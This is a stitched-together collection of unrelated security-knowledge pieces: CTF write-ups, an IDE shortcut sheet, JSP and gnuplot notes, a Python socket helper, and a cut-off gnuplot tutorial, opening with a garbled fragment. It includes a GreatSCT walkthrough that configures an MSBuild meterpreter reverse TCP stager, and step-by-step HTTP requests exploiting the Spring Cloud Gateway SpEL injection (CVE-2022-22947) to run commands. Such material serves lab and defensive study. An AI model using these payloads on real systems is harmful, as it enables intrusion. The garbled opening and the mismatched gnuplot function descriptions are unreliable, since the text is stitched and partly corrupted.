##llow#D#C#Mem###s #onte#t:##e#p t#####a## <MI#SIN##1#62866###4###8349#477####17117####0#97909##6#6##248#11##0478#######87##3##0169#2######30#71###### th#######e#key #####r### o#. 4/2/16 ####e#t:##y F#l#o# DN# #e###r# Co#ten## Kee# this#s##e #M#S#I##>18#2#661##4##08#4##47#2#1#1##1#5#6#0#9#90###6467#24##1180###8#2#29##8705350##6#####6#13#0#7###553# t##t'# ##e key #e a#ree####. ``` Więc widać, że to jedna wiadomość, tylko dla różnych dat brakuje różnych fragmentów. Składamy to i dostajemy: ``` Subject: My Fellow DNC Members Content: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on. ``` I teraz następuje bardzo dziwna część zgaduj zgaduli. Najwyraźniej autor założył, że wpadniemy na to, że liczba powyżej nie określa jedynie suffixu wykładnika deszyfrującego, ale także niskie bity. To jest oczywiście niczym nie poparte w danych którymi dysponujemy, to zwykłe zgadywanie. Ale jeśli poczynimy takie założenie, możemy odzyskać większość bitów `s` zwyczajnie testując które kombinacje wysokich bitów nie zmienią nam suffixu. Finalnie możemy uruchomić standardowy algorytm odzyskiwania klucza z częściowych danch i nawet dla wysokiej eksponenty 65537 możemy odzyskać klucz wzlgędnie szybko. To teoretycznie można by też rozwiązać bez szklanej kuli, ale wymagałoby dość sporej mocy obliczeniowej...
sec-knowleage
# Defcamp finals CTF 2018 Team: Eternal, msm, shalom, des, monk ### Table of contents * [authenticator (pwn)](authenticator)
sec-knowleage
--- title: WebStorm date: 2020-12-17 21:51:44 background: bg-gradient-to-r from-emerald-300 to-blue-400 hover:from-emerald-400 hover:to-blue-500 tags: - jetbrains - web - shortcut categories: - Keyboard Shortcuts intro: | This quick reference cheat sheet lists the default keyboard shortcuts for WebStorm running on Windows/Linux or Mac --- Webstorm Windows & Linux Keymap -------- ### Editing {.row-span-5} | shortcut | description | |----|---------| `Ctrl` `Space`| Basic code completion `Alt` `Enter`| Show intention actions, quick fixes `Ctrl` `P`| Parameter info `Ctrl` `Q`| Quick documentation lookup `Ctrl` `mouse over`| Brief Info `Ctrl` `F1`| Error or warning at caret `Alt` `Insert`| Generate code... `Ctrl` `Alt` `T`| Surround with... `Ctrl` `J`| Insert Live template `Ctrl` `/`| Comment/uncomment with line `Ctrl` `Shift` `/`| Comment/uncomment with block `Ctrl` `W`| Select successively increasing code blocks `Ctrl` `Shift` `W`| Decrease current selection to previous state `Alt+Q`| Context Info `Ctrl` `Alt` `L`| Reformat code `Ctrl` `Alt` `I`| Auto-indent line(s) `Tab`| Indent selected lines `Shift` `Tab`| Unindent selected lines `Ctrl` `Shift` `V`| Paste from recent buffers... `Ctrl` `D`| Duplicate current line or selected block `Ctrl` `Y`| Delete line at caret `Alt` `Shift` `Up`| Move line up `Alt` `Shift` `Down`| Move line down `Ctrl` `Shift` `J`| Join lines `Ctrl` `Enter`| Split lines `Shift` `Enter`| Start new line `Ctrl` `Shift` `U`| Toggle case for word at caret or selected block `Ctrl` `Shift` `]`| Select till code block end `Ctrl` `Shift` `[`| Select till code block start `Ctrl` `Delete`| Delete to word end `Ctrl` `Backspace`| Delete to word start `Ctrl` `+`| Expand code block `Ctrl` `-`| Collapse code block `Ctrl` `Shift` `+`| Expand all `Ctrl` `Shift` `-`| Collapse all `Ctrl` `F4`| Close active editor tab {.shortcuts} ### General | shortcut | description | |----|---------| `Double Shift`|Search everywhere `Ctrl` `Shift` `A`|Find Action `Alt` `0...9`|Open corresponding tool window `Ctrl` `Shift` `F12`|Toggle maximizing editor `Alt` `Shift` `F`|Add to Favorites `Alt` `Shift` `I`|Inspect current file `Ctrl` <kbd>\`</kbd>|Quick switch current scheme `Ctrl` `Alt` `S`|Open Settings dialog `Ctrl` `Tab`|Switch between tool and tabs {.shortcuts} ### Navigation {.row-span-4} | shortcut | description | |----|---------| `Ctrl` `B` _\|_ `Ctrl + Click`|Go to declaration `Ctrl` `N`|Go to class `Ctrl` `Shift` `N`|Go to file `Ctrl` `Alt` `Shift` `N`|Go to symbol `Alt` `Right`|Go to next editor tab `Alt` `Left`|Go to previous editor tab `F12`|Go back to previous tool window `Esc`|Go to editor `Ctrl` `G`|Go to line `Ctrl` `E`|Recent files popup `Ctrl` `Alt` `Right`|Navigate forward `Ctrl` `Alt` `Left`|Navigate back `Ctrl` `Shift` `Backspace`|Navigate to last edit location `Alt` `F1`|Select current file or symbol in any view `Ctrl` `Alt` `B`|Go to implementation(s) `Ctrl` `Shift` `I`|Open quick definition lookup `Ctrl` `Shift` `B`|Go to type declaration `Ctrl` `U`|Go to super-method/super-class `Alt` `Up`|Go to previous method `Alt` `Down`|Go to next method `Ctrl` `]` _/_ `[`|Move to code block end/start `Cltrl` `Shift` `M`|Move caret to matching brace `Ctrl` `F12`|File structure popup `Ctrl` `H`|Type hierarchy `Ctrl` `Alt` `H`|Call hierarchy `F2` _/_ `Shift` `F2`|Next/previous highlighted error `F4` _/_ `Ctrl` `Enter`|Jump to source `Alt` `Home`|Jump to navigation bar `F11`|Toggle bookmark `Ctrl` `Shift` `F11`|Toggle bookmark with mnemonic `Ctrl` `0...9`|Go to numbered bookmark `Shift` `F11`|Show bookmarks {.shortcuts} ### Multiple carets and selections | shortcut | description | |----|---------| `Alt` `Click`| Add or remove caret `Shift` `Ctrl + Alt-J`| Select all occurrences `Alt` `J`| Select next occurrence `Alt` `Shift` `J`| Unselect occurrence `Esc`| Unselect all occurrences or carets {.shortcuts} ### Debugging | shortcut | description | |----|---------| `F8`| Step over `F7`| Step into `Shift` `F7`| Smart step into `Shift` `F8`| Step out `Alt` `F9`| Run to cursor `Alt` `F8`| Evaluate expression `F9`| Resume program `Ctrl` `F8`| Toggle breakpoint `Ctrl` `Shift` `F8`| View breakpoints {.shortcuts} ### Running | shortcut | description | |----|---------| `Alt` `Shift` `F10`| Select configuration and run `Alt` `Shift` `F9`| Select configuration and debug `Shift` `F10`| Run `Shift` `F9`| Debug `Ctrl` `Shift` `F10`| Run context configuration from editor `Alt` `Shift` `R`| Rerun tests `Alt` `F11`| Run Gulp/Grunt/npm tasks {.shortcuts} ### Usage Search | shortcut | description | |----|---------| `Alt` `F7`| Find usages `Ctrl` `F7`| Find usages in file `Ctrl` `Shift` `F7`| Highlight usages in file `Ctrl` `Alt` `F7`| Show usages {.shortcuts} ### VCS/Local History | shortcut | description | |----|---------| `Alt` <kbd>\`</kbd>|VCS quick popup `Ctrl` `K`|Commit project to VCS `Ctrl` `T`|Update project from VCS `Alt` `Shift` `C`|View recent changes {.shortcuts} ### Search/Replace | shortcut | description | |----|---------| `Ctrl` `F`| Find `F3`| Find next `Shift` `F3`| Find previous `Ctrl` `Shift` `F`| Find in path `Ctrl` `R`| Replace `Ctrl` `Shift` `R`| Replace in path {.shortcuts} ### Refactoring | shortcut | description | |----|---------| `Ctrl` `Alt` `Shift +T`| Refactor this `F5` _/_ `F6`| Copy / Move `Alt` `Delete`| Safe Delete `Shift` `F6`| Rename `Ctrl` `F6`| Change function signature `Ctrl` `Alt` `N`| Inline Variable `Ctrl` `Alt` `M`| Extract Method `Ctrl` `Alt` `V`| Extract Variable `Ctrl` `Alt` `C`| Extract Constant `Ctrl` `Alt` `P`| Extract Parameter {.shortcuts}
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 工具介绍: https://github.com/GreatSCT/GreatSCT ### 简介: GreatSCT 是以 metasploit payload 为核心,白名单辅助 payload 执行框架。 ```bash root@John:~# git clone https://github.com/GreatSCT/GreatSCT.git Cloning into 'GreatSCT'... remote: Enumerating objects: 727, done. remote: Total 727 (delta 0), reused 0 (delta 0), pack‐reused 727 Receiving objects: 100% (727/727), 10.64 MiB | 572.00 KiB/s, done. Resolving deltas: 100% (384/384), done. ``` ![](media/4b7b7364cadb4717086ebb5019db21cd.jpg) ![](media/3e2f95599ea725fbaf324c19d0844ac7.jpg) ![](media/9e50f5e8220ad366afb664445e12f567.jpg) ![](media/60d66478b636b2723607a4b90056e4a8.jpg) ```bash =========================================================================== Great Scott! =========================================================================== [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker =========================================================================== Payload information: Name: Pure MSBuild C# Reverse TCP Stager Language: msbuild Rating: Excellent Description: pure windows/meterpreter/reverse_tcp stager, no shellcode Payload: msbuild/meterpreter/rev_tcp selected Required Options: Name Value Description ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DOMAIN X Optional: Required internal domain EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days HOSTNAME X Optional: Required system hostname INJECT_METHOD Virtual Virtual or Heap LHOST IP of the Metasploit handler LPORT 4444 Port of the Metasploit handler PROCESSORS X Optional: Minimum number of processors SLEEP X Optional: Sleep "Y" seconds, check if accelerated TIMEZONE X Optional: Check to validate not in UTC USERNAME X Optional: The required user account Available Commands: back Go back exit Completely exit GreatSCT generate Generate the payload options Show the shellcode's options set Set shellcode option [msbuild/meterpreter/rev_tcp>>] set LHOST 192.168.1.4 41 [msbuild/meterpreter/rev_tcp>>] set LPORT 53 ``` > Micropoor
sec-knowleage
# Fowler–Noll–Vo hash function 具体请参见 https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function。 ## 2018 网鼎杯 hashcoll 其实这道题是从 NSU Crypto 抄过来的,https://nsucrypto.nsu.ru/archive/2017/problems_solution,具体的 wp 之前 hellman 也写了,https://gist.github.com/hellman/9bf8376cd04e7a8dd2ec7be1947261e9。 简单看一下题目 ```python h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399 # 2**168 + 355 g = 374144419156711147060143317175368453031918731002211L def shitty_hash(msg): h = h0 msg = map(ord, msg) for i in msg: h = (h + i) * g # This line is just to screw you up :)) h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff return h - 0xe6168647f636 ``` 题目希望我们给出两个消息,其哈希值相同。如果我们将该函数展开的话,那么 $hash(m)=h_0g^n+x_1g^n+x_2g_{n-1}+...+x_ng \bmod 2^{256}$ 假设两个消息的 hash 值相同那么 $h_0g^n+x_1g^n+x_2g_{n-1}+...+x_ng \equiv h_0g^n+y_1g^n+y_2g_{n-1}+...+y_ng\bmod 2^{256}$ 进而 $(x_1-y_1)g^{n-1}+(x_2-y_2)g^{n-2}+...+(x_n-y_n)g^0 \equiv 0 \bmod 2^{256}$ 即我们只需要找到一个 n 维向量 $z_i=x_i-y_i$,满足上述等式即可,我们可以进一步将其化为 $z_1g^{n-1}+z_2g^{n-2}+...+z_ng^0-k*2^{256}=0$ 即找到一组向量满足上述这个式子。这可以认为是 LLL Paper 中第二个例子的简单情况(参见格问题部分)。 那么我们可以快速构造矩阵,如下 $$ A = \left[ \begin{matrix} 1 & 0 & 0 & \cdots & 0 & Kg^{n-1} \\ 0 & 1 & 0 & \cdots & 0 & Kg^{n-2} \\ 0 & 0 & 1 & \cdots & 0 & Kg^{n-3} \\\vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 &0 & \cdots & 1 & K*mod \\ \end{matrix} \right]$$ 之后我们使用LLL 算法即可获得两个一样的哈希值 ```python from sage.all import * mod = 2**256 h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399 g = 2**168 + 355 def shitty_hash(msg): h = h0 msg = map(ord, msg) for i in msg: h = (h + i) * g # This line is just to screw you up :)) h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff return h - 0xe6168647f636 K = 2**200 N = 50 base_str = 'a' * N base = map(ord, base_str) m = Matrix(ZZ, N + 1, N + 2) for i in xrange(N + 1): ge = ZZ(pow(g, N - i, mod)) m[i, i] = 1 m[i, N + 1] = ZZ(ge * K) m[i, N + 1] = ZZ(K * mod) ml = m.LLL() ttt = ml.rows()[0] print "result:", ttt if ttt[-1] != 0: print "Zero not reached, increase K" exit() else: msg = [] for i in xrange(N): msg.append(base[i] + ttt[i]) if not (0 <= msg[i] <= 255): print "Need more bytes!" quit() print msg other = ''.join(map(chr, msg)) print shitty_hash(base_str) print shitty_hash(other) ``` 注意不能直接仅仅使用 pow(g, N - i, mod),不然生成的数会在 mod 对应的域中,这真是个大坑。 如下 ```shell ➜ hashcoll sage exp.sage result: (15, -14, 17, 14, 6, 0, 12, 21, 8, 29, 6, -4, -9, 10, -2, -12, -6, 0, -12, 13, -28, -28, -24, -3, 6, -5, -16, 15, 17, -14, 3, -2, -16, -25, 3, -21, -27, -9, 16, 5, -1, 0, -3, -4, -4, -19, 6, 8, 0, 0, 0, 0) [112, 83, 114, 111, 103, 97, 109, 118, 105, 126, 103, 93, 88, 107, 95, 85, 91, 97, 85, 110, 69, 69, 73, 94, 103, 92, 81, 112, 114, 83, 100, 95, 81, 72, 100, 76, 70, 88, 113, 102, 96, 97, 94, 93, 93, 78, 103, 105, 97, 97] 106025341237231370726407656306665079105509255639964756437758376184556498283725 106025341237231370726407656306665079105509255639964756437758376184556498283725 ``` 即成功。
sec-knowleage
# EL --- EL 的全称是 Expression Language 是一种表达式语言,该语言主要用于替换 jsp 页面中 java 的代码。 语法: ``` ${表达式} ``` jsp 默认是支持 el 表达式的,如果要忽略表达式的作用,需要在 jsp 中 page 指令的 isELIgnored 为 true。 或者说直接使用反斜杠注释 ``` \$(2*3) ``` EL 运算符: * 算数运算符: + - * /(div) %(mod) * 逻辑运算符: &&(and) ||(or) !(not) * 空运算符: empty * 功能:用于判断字符串、集合、数组对象是否为 null 或者长度是否为 0 * ${empty list}: 判断字符串、集合、数组对象是否为 null 或者长度为 0 * ${not empty str}: 表示判断字符串、集合、数组对象是否不为 null 并且 长度 > 0 获取值: EL 表达式需要从域对象中获取值 获取值语法: ``` ${域名称.键名}:从指定域中获取指定键的值 ``` 在这里来看看几个域名称都有哪些 域名称: 1. pageScope 2. requestScope 3. sessionScope 4. applicationScope 代码: ```java <% request.setAttribute("name","name"); %> ${requestScope.name} ${name} ``` 这里可以直接使用键名获取,会依次从最小的域里面去查找是否有对应的值。 获取集合的值: 获取对象、List 集合、Map 集合的值 * 对象:${域名称. 键名. 属性名} 本质上会去调用对象的 getter 方法 * List 集合:${域名称. 键名 [索引]} * Map 集合: * ${域名称. 键名. key 名称} * ${域名称. 键名 ["key 名称"]} --- ## Source & Reference - https://www.cnblogs.com/nice0e3/p/13544143.html
sec-knowleage
# Castles Forensics, 150 points ## Description > The flag might be in another castle. A binary file was attached. ## Hint 1: > If you are almost there, someone may have used STEG to HIDE something. ## Hint 2: > If you've found the message for peach, it is a guide for where to find the two halves of the key, not the key itself. Think of how the four letters relate to the castles. ## Solution Let's inspect the attached file: ```console root@kali:/media/sf_CTFs/sunshine/Castles# file Castles.001 Castles.001: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 238, sectors/track 63, heads 255, sectors 243712 (volumes > 32 MB), serial number 0xa4c3fb1f, unlabeled, FAT (16 bit) ``` It's a FAT image file. ```console root@kali:/media/sf_CTFs/sunshine/Castles# fsck.vfat Castles.001 fsck.fat 4.1 (2017-01-24) Castles.001: 7 files, 395/60800 clusters root@kali:/media/sf_CTFs/sunshine/Castles# fsck.vfat Castles.001 -l fsck.fat 4.1 (2017-01-24) Checking file /System Volume Information (SYSTEM~1) Checking file /Castelo_da_Feira.jpg (CASTEL~1.JPG) Checking file /Inveraray_Castle.jpg (INVERA~1.JPG) Checking file /Castello_Di_Amorosa.jpg (CASTEL~2.JPG) Checking file /Spis_castle.jpg (SPIS_C~1.JPG) Checking file /System Volume Information/. Checking file /System Volume Information/.. Checking file /System Volume Information/WPSettings.dat (WPSETT~1.DAT) Checking file /System Volume Information/IndexerVolumeGuid (INDEXE~1) Castles.001: 7 files, 395/60800 clusters ``` According to `fsck`, it contains 7 files, 4 out of them seem to be JPG files. ```console root@kali:/media/sf_CTFs/sunshine/Castles# debugfs Castles.001 debugfs 1.44.1 (24-Mar-2018) Checksum errors in superblock! Retrying... Castles.001: Bad magic number in super-block while opening filesystem Castles.001 contains a vfat file system debugfs: ls ls: Filesystem not open ``` `debugfs` is unable to list the files, but we can try `fls` instead: ```console root@kali:/media/sf_CTFs/sunshine/Castles# fls -r Castles.001 d/d 5: System Volume Information + r/r 519: WPSettings.dat + r/r 522: IndexerVolumeGuid r/r * 8: Castelo_da_Feira.jpg r/r 11: Castelo_da_Feira.jpg r/r * 14: Inveraray_Castle.jpg r/r 17: Inveraray_Castle.jpg r/r * 20: Castello_Di_Amorosa.jpg r/r 23: Castello_Di_Amorosa.jpg r/r * 26: spis-castle.jpg r/r 29: Spis_castle.jpg r/r * 32: AlmostThere.jpg v/v 3891715: $MBR v/v 3891716: $FAT1 v/v 3891717: $FAT2 V/V 3891718: $OrphanFiles ``` This time we see five distinct JPG files! The `*` marks deleted files, and there's a file which only exists as a deleted item: `AlmostThere.jpg`. We can try to extract the files using `icat`, specifying the inode ID: ```console icat Castles.001 32 > AlmostThere.jpg icat Castles.001 8 > Castelo_da_Feira.jpg icat Castles.001 14 > Inveraray_Castle.jpg icat Castles.001 20 > Castello_Di_Amorosa.jpg icat Castles.001 26 > spis-castle.jpg ``` Note: `foremost` can extract the files as well. Until here it's pretty obvious, this is where things get a bit harder, and where the hints come in handy. > If you are almost there, someone may have used STEG to HIDE something. This obviously means that `steghide` was used to hide a message in `AlmostThere.jpg`, but we'll need a passphrase to extract the message. > If you've found the message for peach, it is a guide for where to find the two halves of the key, not the key itself. Think of how the four letters relate to the castles. What's the message for peach? ```console root@kali:/media/sf_CTFs/sunshine/Castles# grep peach Castles.001 Binary file Castles.001 matches root@kali:/media/sf_CTFs/sunshine/Castles# strings Castles.001 | grep peach peachPeachPEACH Hey! Mario said something about a hidden key. Hesaid this: F2I and A1S, and that it was in two pieces. ``` Ok, we got the message. How do the four letters relate to the castles? F is like Castelo_da_Feira, I is like Inveraray_Castle, A is like Castello_Di_Amorosa and S is like spis-castle. So the first half of the key is in between Amorosa and spis, and the second half between Feira and Inveraray? Turns out the if we extract Castelo_da_Feira and Castello_Di_Amorosa **including the file slack**, we get two interesting strings hidden in the slack: ``` root@kali:/media/sf_CTFs/sunshine/Castles# icat -s Castles.001 23 > Castello_Di_Amorosa_slack.jpg root@kali:/media/sf_CTFs/sunshine/Castles# strings Castello_Di_Amorosa_slack.jpg | tail -n 1 AQ273RFGHUI91O root@kali:/media/sf_CTFs/sunshine/Castles# strings Castelo_da_Feira_slack.jpg | tail -n 1 LO987YTFGY78IK ``` Combine these two parts and we get the passphrase for `steghide`: ```console root@kali:/media/sf_CTFs/sunshine/Castles# steghide extract -sf AlmostThere.jpg -p AQ273RFGHUI91OLO987YTFGY78IK wrote extracted data to "flag.txt". root@kali:/media/sf_CTFs/sunshine/Castles# cat flag.txt flag{7H4NK5_F0R_PL4Y1NG} ```
sec-knowleage
# 常见网站架构 ## 网站架构 | 名称 | 组成 | 备注 | | ---- | ------------------------- | ---- | | LAMP | Linux+Apache+MySQL+PHP | | | LNMP | Linux+Nginx+MySQL+PHP | | | WAMP | Windows+Apache+MySQL+PHP | | | BAMP | BSD+Apache+MySQL+PHP | | | WIMP | Windows+IIS+MySQL+PHP | | | WISA | Windows+IIS+SQLServer+ASP | | | | | |
sec-knowleage
# DuckyDebugDuck: Fun with Flags 2021 This was a very easy [CTF](http://ducky.ctf.cs.technion.ac.il/) created by the Technion as part of [C2C CTF 2021](https://www.c2c-ctf-2021.org/). Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/21).
sec-knowleage
# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。 参考链接: - <https://tanzu.vmware.com/security/cve-2022-22947> - <https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/> ## 漏洞环境 执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8080`即可看到演示页面,这个页面的上游就是example.com。 ## 漏洞复现 利用这个漏洞需要分多步。 首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由: ``` POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" } ``` ![](1.png) 然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行: ``` POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![](2.png) 发送如下数据包即可查看执行结果: ``` GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![](3.png) 最后,发送如下数据包清理现场,删除所添加的路由: ``` DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close ``` ![](4.png) 再刷新下路由: ``` POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ```
sec-knowleage
import sys import signal import socket import logging #from subprocess import Popen, PIPE from collections import defaultdict #https://stackoverflow.com/questions/2352181/how-to-use-a-dot-to-access-members-of-dictionary class dotdict(dict): """dot.notation access to dictionary attributes""" __getattr__ = dict.get __setattr__ = dict.__setitem__ __delattr__ = dict.__delitem__ def connect(host, port): io = TelnetIO() io.connect(host, port) return io class IO(object): LINE_ENDING = "\r\n" def __init__(self): #self.connection = None self.remainder = "" self.buffer_size = 1 def send(self, s): raise NotImplementedError("Please implement send()") def recv(self, size): raise NotImplementedError("Please implement recv()") def sendline(self, s): self.send(s + self.LINE_ENDING) def recvuntil(self, pred): res = self.remainder while True: try: index = res.index(pred) border = index + len(pred) self.remainder = res[border:] res = res[:border] break except ValueError: pass buf = self.recv(self.buffer_size) res += buf return res def recvline(self): return self.recvuntil(self.LINE_ENDING) class TelnetIO(IO): def __init__(self): IO.__init__(self) self.connection = None self.buffer_size = 4096 def connect(self, host, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((host, port)) def send(self, s): self.connection.send(s) def recv(self, size): return self.connection.recv(size) try: from pexpect.popen_spawn import PopenSpawn def process(exe): io = ProcessIO() io.run(exe) return io class ProcessIO(IO): def __init__(self): IO.__init__(self) self.proc = None self.buffer_size = 1 def __del__(self): if self.proc is not None: self.proc.kill(signal.CTRL_BREAK_EVENT) def run(self, exe): #self.proc = Popen([exe], stdout=PIPE, stdin=PIPE, bufsize=self.buffer_size, shell=True) self.proc = PopenSpawn(exe) def send(self, s): #self.proc.stdin.write(s) self.proc.write(s) def recv(self, size): #return self.proc.stdout.read(size) return self.proc.read(size) def recvuntil(self, pred): self.proc.expect(pred) return self.proc.before except ImportError: def process(exe): raise ImportError("Warning: No pexpect module found, please install via 'pip install pexpect'") log = logging log.basicConfig(level=log.INFO, format='%(levelname)s: %(message)s',) args = dotdict({arg:True for arg in sys.argv[1:]})
sec-knowleage
# gnuplot 学习笔记 > 官网 : http://www.gnuplot.info/ --- ## 安装 **windows** - 下载地址:https://sourceforge.net/projects/gnuplot/ - 下载完,双击,一路下一步安装即可,安装完后在开始菜单栏里最近添加里可以看到刚刚安装的 gnuplot --- ## 常量、操作符和函数 ### 数字 gnuplot 表示数字可分成整数、实数及复数三类: - 整数:gnuplot 与 C 语言相同,采用 4 byte 储存整数。故能表示 -2147483647 至 +2147483647 之间的整数。 - 实数:能表示约 6 或 7 位的有效位数,指数部份为不大于 308 的数字。 - 复数:以 {<real>,<imag>} 表示复数。其中<real>为复数的实数部分,<imag>为虚数部分,此两部分均以实数型态表示。 如 3 + 2i 即以 {3,2} 表示。 gnuplot 储存数字的原则为,若能以整数方式储存则以整数储存数字,不然以实数方式储存,其次以复数方式储存。例如在 gnuplot 执行 ``` print 1/3*3 print 1./3*3 ``` 分别得到 0 和 1.0 的结果。这是因前者使用整数计算,而后者采用实数计算的结果。 执行 ``` print 1234.567 print 12345 + 0.56789 print 1.23e300 * 2e6 print 1.23e300 * 2e8 ``` 分别得到 1234.57、12345.6、2.46e+304 和 undefined value 的结果。这些例子是受到实数的有效位数和所能表现最大数字的限制。这是我们要注意的。 --- ### 操作符 gnuplot 的操作符与 C 语言基本相同。 所有的操作均可做用在整数、实数或复数上。 | Symbol | Example | Explanation | | - | - | - | | `-` | `-a` | unary minus | | `~` | `~a` | one's complement | | `!` | `!a` | logical negation | | `!` | `a!` | factorial | | Symbol | Example | Explanation | | - | - | - | | `**` | `a**b` | exponentiation | | `*` | `a*b` | multiplication | | `/` | `a/b` | division | | `%` | `a%b` | modulo | | `+` | `a+b` | addition | | `-` | `a-b` | subtraction | | `==` | `a==b` | equality | | `!=` | `a!=b` | inequality | | `&` | `a&b` | bitwise AND | | `^` | `a^b` | bitwise exclusive OR | | `|` | `a|b` | bitwise inclusive OR | | `&&` | `a&&b` | logical AND | | `||` | `a||b` | logical OR | | `?:` | `a?b:c` | ternary operation | ### 函数 在 gnuplot 中函数的参数可以是整数,实数或是复数。下表是 gnuplot 所提供的函数。 | Function | Auguments | Returns | | - | - | - | | abs(x) | any | absolute value of x, |x|; same type | | abs(x) | complex | length of x, sqrt( real(x)^2 + imag(x)^2 ) | | acos(x) | any | 1/cos(x) (inverse cosine) in radians | | Acosh(x) | any | cosh−1 x (inverse hyperbolic cosine) in radians | | arg(x) | complex | the phase of x in radians | | asin(x) | any | 1/sin(x) (inverse sin) in radians | | asinh(x) | any | sinh−1 x (inverse hyperbolic sin) in radians | | atan(x) | any | 1/tan(x) (inverse tangent) in radians | | atan2(y,x) | int or real | tan−1(y/x) (inverse tangent) | | atanh(x) | any | tanh−1 x (inverse hyperbolic tangent) in radians | | besj0(x) | int or real | J0 Bessel function of x | | besj1(x) | int or real | J1 Bessel function of x | | besy0(x) | int or real | Y0 Bessel function of x | | besy1(x) | int or real | Y1 Bessel function of x | | ceil(x) | any | smallest integer not less than x (real part) | | cos(x) | radians | cos x, cosine of x | | cosh(x) | radians | cosh x, hyperbolic cosine of x | | erf(x) | any | Erf(real(x)), error function of real(x) | | erfc(x) | any | Erfc(real(x)), 1.0 - error function of real(x) | | exp(x) | any | exponential function of x | | floor(x) | any | largest integer not greater than x (real part) | | gamma(x) | any | Gamma(real(x)), gamma function of real(x) | | ibeta(p,q,x) | any | Ibeta(real(p,q,x)), ibeta function of real(p,q,x) | | inverf(x) | any | inverse error function of real(x) | | igamma(a,x) | any | Igamma(real(a,x)), igamma function of real(a,x) | | imag(x) | complex | imaginary part of x as a real number | | invnorm(x) | any | inverse normal distribution function of real(x) | | int(x) | real | integer part of x, truncated toward zero | | lambertw(x) | real | Lambert W function | | lgamma(x) | any | Lgamma(real(x)), lgamma function of real(x) | | log(x) | any | ln(x), natural logarithm (base e) of x | | log10(x) | any | log(x), logarithm (base 10) of x | | norm(x) | any | normal distribution (Gaussian) function of real(x) | | rand(x) | any | normal distribution (Gaussian) function of real(x) | | real(x) | any | Rand(real(x)), pseudo random number generator | | sgn(x) | any | real part of x | | sin(x) | any | 1 if x>0, -1 if x<0, 0 if x=0. imag(x) ignored | | sinh(x) | radians | sin(x), sine of x | | sqrt(x) | radians | sinh(x), hyperbolic sine x | | tan(x) | any | sqrt(x), square root of x | | tanh(x) | complex | tan(x), tangent of x | | column(x) | int | column x during datafile manipulation. | | defined(X) | variable name | returns 1 if a variable X is defined, 0 otherwise. | | tm hour(x) | int | the hour | | tm mday(x) | int | the day of the month | | tm min(x) | int | the minute | | tm mon(x) | int | the month | | tm sec(x) | int | the second | | tm wday(x) | int | the day of the week | | tm yday(x) | int | the day of the year | | tm year(x) | int | the year | | valid(x) | int | test validity of column(x) during datafile manip. | **用户自定义函数和常量** 在 gnuplot 中,用户可自定函数。函数可有 1 至 5 个自变量。 其定义函数的语法如下: ``` <function-name> ( <dummy1> {,<dummy2> {, ...}}) = <expression> ``` 而用户定义常数的语法如下: ``` <variable-name> = <constant-expression> ``` 例如: ``` # 常数 w 为 2。 w = 2 # 常数 q 为小于但最接近 tan(pi/2 - 0.1) 的整数。 q = floor(tan(pi/2 - 0.1)) # 函数 